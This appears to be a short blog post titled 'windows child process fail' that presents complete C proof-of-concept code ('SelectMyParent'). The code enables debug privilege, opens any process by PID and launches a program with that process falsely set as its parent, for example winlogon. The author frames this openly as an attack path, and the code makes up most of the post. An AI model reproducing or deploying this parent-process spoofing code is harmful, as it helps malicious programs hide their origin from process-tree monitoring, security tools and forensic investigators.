windows child process fail

I ran across this POC code a few months ago. It allows a you to execute processes as a child process of other stuff. Wouldnt it be grand to have your programs run as child processes of system_idle_process or even winlogon?

Thanks to Visata, now you can! There’s a little feature added to the STARTUPINFOEX struct that allows you to specify a parent process. Oh Microsoft. I love it when you introduce new attack paths to your products. Works on Vista, windows server 2k3, 2k8, and windows 7.

#include "stdafx.h"
#include <windows.h>

void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError)
{
HLOCAL hlErrorMessage = NULL;
if (FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_ALLOCATE_BUFFER, NULL, dwLastError, MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (PTSTR) &amp;hlErrorMessage, 0, NULL))
{
_tprintf(TEXT("%s: %s"), pszMessage, (PCTSTR) LocalLock(hlErrorMessage));
LocalFree(hlErrorMessage);
}
}

BOOL CurrentProcessAdjustToken(void)
{
HANDLE hToken;
TOKEN_PRIVILEGES sTP;

if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken))
{
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &amp;sTP.Privileges[0].Luid))
{
CloseHandle(hToken);
return FALSE;
}
sTP.PrivilegeCount = 1;
sTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, 0, &amp;sTP, sizeof(sTP), NULL, NULL))
{
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
return FALSE;
}

int _tmain(int argc, _TCHAR* argv[])
{
STARTUPINFOEX sie = {sizeof(sie)};
PROCESS_INFORMATION pi;
SIZE_T cbAttributeListSize = 0;
PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = NULL;
HANDLE hParentProcess = NULL;
DWORD dwPid = 0;

_putts(TEXT("SelectMyParent v0.0.0.1: start a program with a selected parent process"));
if (argc != 3)
_putts(TEXT("usage: SelectMyParent program pid"));
else
{
dwPid = _tstoi(argv[2]);
if (0 == dwPid)
{
_putts(TEXT("Invalid pid"));
return 0;
}
InitializeProcThreadAttributeList(NULL, 1, 0, &amp;cbAttributeListSize);
pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
if (NULL == pAttributeList)
{
DisplayErrorMessage(TEXT("HeapAlloc error"), GetLastError());
return 0;
}
if (!InitializeProcThreadAttributeList(pAttributeList, 1, 0, &amp;cbAttributeListSize))
{
DisplayErrorMessage(TEXT("InitializeProcThreadAttributeList error"), GetLastError());
return 0;
}
CurrentProcessAdjustToken();
hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (NULL == hParentProcess)
{
DisplayErrorMessage(TEXT("OpenProcess error"), GetLastError());
return 0;
}
if (!UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &amp;hParentProcess, sizeof(HANDLE), NULL, NULL))
{
DisplayErrorMessage(TEXT("UpdateProcThreadAttribute error"), GetLastError());
return 0;
}
sie.lpAttributeList = pAttributeList;
if (!CreateProcess(NULL, argv[1], NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &amp;sie.StartupInfo, &amp;pi))
{
DisplayErrorMessage(TEXT("CreateProcess error"), GetLastError());
return 0;
}
_tprintf(TEXT("Process created: %d\n"), pi.dwProcessId);
DeleteProcThreadAttributeList(pAttributeList);
CloseHandle(hParentProcess);
}

return 0;
}

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.